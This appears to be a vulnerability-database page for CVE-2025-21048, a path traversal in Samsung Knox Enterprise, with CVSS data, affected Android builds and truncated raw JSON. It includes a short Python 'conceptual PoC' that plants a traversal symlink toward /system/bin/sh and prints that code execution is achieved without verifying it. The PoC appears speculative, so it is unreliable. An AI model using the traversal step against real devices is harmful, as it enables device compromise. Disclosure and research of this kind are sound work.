Security Vulnerability Report
中文
CVE-2025-21048 CVSS 6.7 MEDIUM

CVE-2025-21048

Published: 2025-10-10 07:15:40
Last Modified: 2025-10-23 12:42:48

Description

Relative path traversal in Knox Enterprise prior to SMR Oct-2025 Release 1 allows local attackers to execute arbitrary code.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:samsung:android:13.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:13.0:smr-apr-2022-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:13.0:smr-apr-2023-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:13.0:smr-apr-2024-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:13.0:smr-apr-2025-r1:*:*:*:*:*:* - VULNERABLE
Samsung Knox Enterprise < SMR Oct-2025 Release 1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-21048 PoC - Relative Path Traversal in Samsung Knox Enterprise # This is a conceptual PoC demonstrating the exploitation of relative path traversal import os import sys # Step 1: Create a malicious symlink in a writable directory accessible by Knox Enterprise target_file = "/data/data/com.samsung.android.knox.containercore/files/target.dat" malicious_link = "/data/data/com.samsung.android.knox.containercore/files/innocent_file" malicious_payload = "/system/bin/sh" # Target file to execute # Step 2: Create a relative symlink that points outside the expected directory # The relative path traversal bypasses directory restrictions relative_traversal_path = "../../../../../../system/bin/sh" try: # Remove existing file/link if present if os.path.exists(malicious_link) or os.path.islink(malicious_link): os.remove(malicious_link) # Create the malicious relative symlink os.symlink(relative_traversal_path, malicious_link) print(f"[+] Malicious symlink created: {malicious_link} -> {relative_traversal_path}") # Step 3: Trigger the vulnerable Knox Enterprise process # When the privileged process accesses 'innocent_file', it follows the symlink # and executes/reads the target file outside the intended directory print("[+] Waiting for Knox Enterprise process to access the symlink...") print("[+] Arbitrary code execution achieved when privileged process follows the symlink") except PermissionError as e: print(f"[-] Permission denied: {e}") print("[*] This exploit requires high privileges (PR:H) to create symlinks in protected directories") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-21048", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:40.087", "lastModified": "2025-10-23T12:42:48.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Relative path traversal in Knox Enterprise prior to SMR Oct-2025 Release 1 allows local attackers to execute arbitrary code."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:-:*:*:*:*:*:*", "matchCriteriaId": "A123EDB1-3048-44B0-8D4D-39A2B24B5F6B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "BDE4D65E-8F9B-4810-AED6-95564A97D741"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "70825981-F895-4BFD-9B6E-92BFF0D67023"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "A5E68B7B-BA08-4E8C-B60A-B3836C6986BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "AC42E785-02BF-4F27-B5CF-49572A2DBC8E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "0AF1EDA0-2712-4C3C-8D8A-89E154BB63DF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "88DC0A82-CAF3-4E88-8A4D-8AF79D0C226D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6239D93F-CA0E-4120-96A1-FB63276EAEE8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "25F19D02-1FFC-48AF-9CB8-063C459E7A4B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2021-r1:*:*:*:*:*:*", "matchCriteriaId": "CD382E2D-0B51-4908-989A-88E083FC85BF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "299284DA-85AB-4162-B858-E67E5C6C14F7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "38B7AB56-AB65-4557-A91C-40CA2FD12351"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "858B0736-2272-4D5A-A77F-47023D21F7D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "61D507C0-086B-4139-A560-126964DFA579"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "D98F307E-3B01-4C17-86E5-1C6299919417"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "952CA843-7CF0-4424-BDA4-3F2A93E077B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "39F64BAA-2E49-4919-A940-219391383D5E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "57B125ED-D939-4CBC-9E96-BBCF02402A69"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "7D7DA96D-9C25-4DDA-A6BF-D998AC346B89"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "07AC19C6-D245-4C3A-90CC-A931A901EA0A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "FDA1685E-D101-46F6-8857-7F0894E07748"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jul-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "DF85AA7B-E1C7-4946-92B4-E4D545CAACDF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jul- ... 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